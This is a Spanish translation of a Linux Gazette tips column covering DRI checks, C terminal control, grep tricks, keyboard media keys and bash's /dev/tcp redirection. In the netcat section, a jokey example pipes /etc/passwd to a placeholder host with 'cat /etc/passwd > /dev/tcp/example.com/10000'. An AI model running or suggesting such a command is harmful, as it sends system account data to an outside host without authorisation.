La Gaceta de Linux ...¡ haciendo a Linux un poco más divertido !

¡Más Trucos de 2 Centavos!

Traducción al español por Gustavo Conturzo
el día 28 de Marzo de 2005, para La Gaceta de Linux

Ver también: Base de Conocimiento de Answer Gang y el Motor de Búsqueda LG


¿Está trabajando tu sistema de aceleración de video?

Ben Okopnik (Editor de Gaceta de Linux)

¿Tus juegos están corriendo lentamente, aun cuando tienes la última tarjeta Whizbang? ¿La acción de tu Quake se parece más a una cámara lenta que avanza lentamente que a un alto TPP T(tirador) en P(primera) P(persona)? Puede que estés usando emulación de software de representación directa (DRI) en lugar de algo real, o puede que tengas desactualizadas (o perdidas) las Librerías GL.

Aquí está un simple script de shell que trae todas juntas las herramientas necesarias para verificar el estado DRI de tu sistema. Sugiero mucho que te refieras a la página de Solución de Problemas de DRI en  http://dri.sourceforge.net/cgi-bin/moin.cgi/DriTroubleshooting para una buena guía para corregir cualquier problema que encuentres; varias veces es de gran ayuda para mi.

Ve el adjunto check-dri-status.bash.txt

Guárdalo, hazlo ejecutable con 'chmod +x <name>', ejecútalo, y sigue las indicaciones en la parte inferior de la pantalla. (Y recuerda continuar moviéndote mientras disparas; el Macron en el Nivel 8 puede disparar misiles todo el día.)


Problema de programa C

Jason Creighton (androflux de softhome.net)
Pregunta de Sanjib Roy (sanjib_w from hotmail.com)

cómo puedo Limpiar la Pantalla y Mover el Cursor para imprimir un mensaje en la pantalla desde un programa C que utiliza las funciones C estándares printf() putch() sin usar ncurses.

¿Hay algunas funciones tales como "clrscr()" y gotoxy() que están disponibles en el compilador Turbo C++ basado en DOS que estén disponibles en Linux, si no cuál es alternativa?

POR FAVOR AYÚDENME

Yo le preguntaría a tu profesor..
¿Tienes deberes que hacer? Bien, no nos preguntes, no te ayudaremos. :) -- Thomas
[Jason] No puede hacer eso sin ncurses. Eso es, no puedes hacerlo de una manera estándar que funcione en todas partes. Podrías soltar algunos códigos de escape, pero que sólo trabajan con un tipo de terminal. Este tipo de problemas es exactamente por lo que existe la librería ncurses, y no usarla sería bastante tonto.


Frente y Reverso: KPGP y GPG

Richard Bos (radoeka de xs4all.nl)

[enviado como Truco respecto a la Nota de Jimmy O'Regan]

Gracias por su artículo de kgpg, me indicó los comandos --editkey + adduid/deluid, que estuve buscando - por algún tiempo.

Hola Linux-eros,

Apunté algo la semana pasada, respondiendo a mis propias preguntas que tenía.

Esto explica cómo tratar con los paquetes rpm que emiten avisos. La página web está ubicada en:
http://linux01.gwdg.de/apt4rpm/signing.html

Espero que puedan beneficiarse de esto.

-- Amables recuerdos, Richard Bos


Sin un hogar el viaje es interminable


OpenChange

Jimmy O'Regan (La Pandilla de Respuestas de GL)

OpenChange es un proyecto para revertir la ingeniería de todas las cosas de MS Exchange. Tienen un programa para  volcar los contenidos de una base de datos de Exchange, y están trabajando sobre el protocolo de Exchangel, con miras a crear un clon de Exchange de código abierto.

http://openchange.althost.net/index.php?page=openEDB

[John Karns] Interesante. No lo utilizo, pero estuve intrigado cuando vi que HP había hecho algo similar 3 ó 4 años atrás (Openmail, pienso), y lo estaban ofreciendo gratis para uso no comercial - en formato de código cerrado IIRC. Aunque pronto lo eliminaron, sin duda después de haber sido presionados por  Redmond.
[Rick Moen] "¡No estoy muerto aún!"
Ambos son el código base de Openmail.
Más en: "Groupware" en http://linuxmafia.com/kb/Mail


Servidor SCP para Windows (98/2k)

Jay R. Ashworth (jra de baylink.com)

He encontrado el paquete de Caspian, pero él dice que no piensa que funcionará con SCP debido a las pancartas y semejantes.

¿Alguien tiene, en el bolsillo, un SCP compatible con SSHD para Windows 98/NT/2K que sea tan fácil de instalar como el paquete Caspian?

(mira en sshwindows.sf.net)

nunca más. ;-)

Hasta luego, jra


Retrospectiva de Slackware

Mike Orr (Editor Contribuyente de GL)
Por tu historia de antes que salió ahí. -- Heather

Artículo de LWN acerca de Slackware 10, rememorando sobre la distribución que "ha sobrevivido a todas sus predecesoras": http://lwn.net/Articles/91467

Una mirada a la evolución de las distribuciones Linux:
http://lwn.net/Articles/91371


Disparar una de varias opciones con Juk y KHotkeys

Jimmy O'Regan (La Pandilla de Respuestas de GL)

Envié una historia en http://dot.kde.org mencionando que GL tenía dos artículos relacionados a KDE  este mes, y alguien preguntó cómo tener múltiples acciones posibles adjuntadas a una sola tecla - inicia Juk si no está corriendo, páusalo si se está ejecutando y viceversa, y ejecútalo si está parado. Este script hace eso:

Ver el adjunto juk.bash.txt

[Ben] Truco de shell a nivel intermedio para la situación de arriba:
ps aux|grep '[j]uk'
Ignorará la línea 'grep' cada vez. ¿Por qué? Bien...
ben@Fenrir:~$ find / [f]oo > /dev/null 2>&1 &
[1] 8099
ben@Fenrir:~$ ps --pid 8099
PID TTY TIME CMD
8099 pts/0 00:00:02 find / [f]oo
Fíjate que 'ps' lista el comando exactamente como se invocó - los corchetes y todo. 'grep' en sí, sin embargo, interpreta  los corchetes como una clase de caracter: eso es, busca una correspondencia para cualquier caracter(es) contenidos dentro de los corchetes. Dado que el único caracter dentro de los corchetes es 'f', '[f]oo' es interpretado simplemente como 'foo'. Como resultado, 'grep' está buscando 'foo' - pero la línea 'grep' en sí, como listada por 'ps ax', no contiene 'foo'; contiene '[f]oo', lo cual no se corresponde.
El concepto es un poco difícil de entender la primera vez, obvio - ¡y práctico! - siempre después. :)

Olvidaría esto; práctico. Sólo funciona, por supuesto, si el argumento para grep es un literal. Bien, más precisamente, es todavía más difícil de entender (y posiblemente puede que interrumpa otras cosas) si lo pones en una variable...

[Ben] Tienes razón: se puede hacer para que funcione pero No Sería Propicio de Entendimiento. Algo como
# YANETUT 
first=${var:0:1}
last=${var:1}
ps ax|grep "[$first]$last"
Suficiente.


Usando Botones de Medios de Teclado Windows En Linux

john frey (iaargh de shaw.ca)

Por años he estado mirando las teclas adicionales de mi Logitech Freedom Optical con desesperación en mi corazón. Me dije a mi mismo que realmente no las necesitaba, pero de alguna manera me sentía menos que un parásito de Windows porque pagué dinero por un teclado y ratón inalámbrico y no tenía las funciones completas.

Entonces leí este artículo, probé unos cuantos atajos de teclas para iniciar el correo electrónico, el navegador web y el navegador de archivos local. Todo eso era muy ingenioso pero lo que yo realmente quería era usar el disco del teclado para el control de volumen. Mis parlantes tienen botones de que se presionan para el control de volumen pero son metálicos y la respuesta es lenta, usar un deslizador en Kmix es igualmente poco manejable. Cuando en la notificación de correo electrónico suena muy fuerte (porque sencillamente terminé mirando una película y me olvidé de bajar el sonido) quiero bajar el sonido antes de que los últimos tonos se desvanezcan.

Me embrollé un poco en el centro de control de KDE  sin mucho éxito entonces di contra la asombrosa idea que tal vez podía configurar esto desde Kmix. Click derecho sobre el control de volumen maestro -> definir teclas...... unos cuantos clicks y tenía la esfera trabajando para aumentar y bajar el sonido y el botón de silenciar también. Me sentí f***n estupendo. ¿Puedes decir faciiiiiiiiiiil, puedes decir in-tui-ti-vo? ¡Wow, esto es realmente el pijama del gato!

A veces las cosas más pequeñas sólo hacen que la vida sea digna de vivir otra vez ;~)


Lo bueno de Telnet, lo mejor de netcat

Flavio Poletti (anónimo)

Enviar cierto tráfico de la red desde el shell.

Algún tiempo atrás (actualmente, un largo tiempo atrás) necesité enviar algo de tráfico TCP hacia un anfitrión sobre una base regular. Así que... la única herramienta que conocía era telnet, no tenía idea sobre programación de conectores, y tuve que estudiar esperando a fin de tener el trabajo terminado. Sin necesidad de decir, fue un verdadero dolor - ¿qué otra cosa debería /esperar/? (Para aquellos que no saben de lo que estoy hablando, sugiero realizar una interacción más que trivial con algún servidor sobre puertos aparte de telent).

Algún tiempo después, aprendí programación de conectores, de modo que era capaz de hacer el trabajo dentro de C y llamar a mi programa desde el shell. Pero puedes apostarlo - era una aplicación muy enfocada y probada para no darme ayuda en un contexto similar pero diferente.

Fue entonces que descubrí netcat.

netcat (en realidad el ejecutable debería llamarse nc) es lo que necesitaba, más mucho más. Es capaz de correr en ambos modos cliente y servidor (escuchando), poder con TCP y UDP, y provee el concepto más claro que puedas pedir: lee la entrada estándar y la envía al destino remoto, y te da el tráfico entrante en la salida estándar. ¿Bastante bueno, no? netcat ya debería estar disponible en tu caja de Linux, de todos modos puedes descargarlo aquí: http://www.atstake.com/research/tools/network_utilities

Estuve muy orgulloso de mi descubrimiento (¡sólo 5-6 años de búsqueda!) cuando recientemente tuve que encontrar algo que - bastante sorprendente para mi - era aún más simple. Quiero decir, para resolver mi antiguo problema de dos noches sin dormir ¡no tuve ni siquiera la necesidad de un programa externo! Encontré lo que necesitaba cuando estaba hecho completamente dentro del shell, siempre que estés usando bash - y todos nosotros estamos usando bash, no?

Este es el truco: bash define algunos servicios falsos que puedes usar como filtros para redirección - ¡pero en realidad consigues tráfico de algunas IP con ellos! Así que puedes enviar tu archivo de contraseña a tu peor enemigo a ejemplo.com simplemente al suministrar este comando:

cat /etc/passwd > /dev/tcp/example.com/10000

(todos sabemos que nuestro peor enemigo acepta archivos de contraseñas escuchando al puerto 10000)

¡Eso es - y puedes hacer eso con UDP también! Si quieres averiguar más, echa una mirada en la Guía Avanzada de Escritura de Script de Bash, en particular el párrafo 28.1 (http://www.tldp.org/LDP/abs/html/devref1.html).

¡Este es mi Truco de 2c!


Intenté buscar dentro de /dev para ver si había algún dispositivo tcp o udp, pero no encontré ninguno de los dos - eso es porque pido que estos dispositivos sean interpretados por bash. Si sabes más acerca de esto... ¡corrígeme por favor!

Las Tijeras del Editor tienen un tiempo importante con esto. -- Heather
No son definidos por el shell, ni están relacionados con él -- solamente son llamados FIFOs que el kernel los define como virtuales cuando un puerto necesita ser escuchado. -- Thomas
[Jason Creighton] Entrecomillado de la página man de bash:
 Bash manipula varios nombres de archivos especialmente cuando se usan en
redirecciones, como se describe en la siguiente tabla
[Ben] ben@Fenrir:~$ ls -l /dev/tcp
ls: /dev/tcp: Ningún archivo o directorio semejante
La Talmud, quiero decir la página man de "bash", no ofrece ayuda adicional; sin embargo, los Comentarios... err, /usr/src/linux/Documentation/devices.txt, dicen que estos son dispositivos compatibles con  iBCS-2...
Así que, hice estos nodos - con un poco de ayuda de Perl:
ben@Fenrir:/usr/src/linux/Documentation$ su
Password:
root@Fenrir:/usr/src/linux/Documentation# mkdir /dev/inet
root@Fenrir:/usr/src/linux/Documentation# perl -wne'
if(m#0 = /dev/socksys#../raw/){/(\d+) = ([^\s]+)/;
system"mknod -m 0664 $2 c 30 $1; chgrp dialout $2"}
' devices.txt
root@Fenrir:/usr/src/linux/Documentation# perl -wlne'
if (m#/dev/ip #../X0R/){/([^\s]+) -> ([^\s]+)/;
system"ln -s $2 $1"}' devices.txt
El grupo "dialout" permite a sus miembros utilizar estos dispositivos.
En la siguiente invocación, seleccioné el segundo grupo de arriba y creé los enlaces simbólicos al usar mucho el mismo mecanismo.
De este modo, después de todo eso - ¿lo prometido por Bash funcionará?
ben@Fenrir:~$ su -c 'thttpd -d ~ben/www'
ben@Fenrir:~$ cat /dev/tcp/localhost/80
cat: /dev/tcp/localhost/80: Not a directory
ben@Fenrir:~$ nc /dev/tcp/localhost/80
/dev/tcp/localhost/80: forward host lookup failed: Unknown host
[Kapil] Asumo que realmente estás Debianizado. Así que el entrecomillado de /usr/share/doc/bash/README.Debian.gz:
	9. ¿Por bash está configurado con las redirecciones de red desactivadas?

Esto puede producir resultados completamente inesperados. Este tipo de
característica no debería ser parte de un shell sino una herramienta especial.
Y esa herramienta ya ha existido por años, se llama netcat.
Y eso nos devuelve alrededor del descubrimiento satisfecho de Flavio :) -- Heather
[Jason] Así que, si estabas utilizando este pequeño tonto truco de bash en lugar de netcat, deberías hacer algo como esto:
~$ cat /dev/tcp/localhost/25
cat: /dev/tcp/localhost/25: No such file or directory
~$ cat < /dev/tcp/localhost/25
220 jpc.example.com ESMTP Exim 4.20 Fri, 16 Jul 2004 16:32:55 -0600
No pienso que sea posible configurar un enlace bidireccional mediante este método, como podrías con netcat. O tal vez hay algunos Trucos de Shell Realmente Muy Buenos que puedas usar para obtener la entrada y salida estándar de cat conectadas al fd a fin de que, por ejemplo, interactúes con un servidor  SMTP. Pero honestamente no me importa si puedes hacer esto, porque, como tú dices... no es más fácil y ni más lindo hacer este tipo de cosas en el shell.

Página editada y mantenida por los Editores de Gaceta de Linux
Script HTML mantenido por Heather Stern de Servicios Técnicos Starshine, http://www.starshine.org/

 

Copyright © 2004. Publicado bajo los términos de la Open Publication license

Publicado en el Número 105 de Gaceta de Linux, Agosto de 2004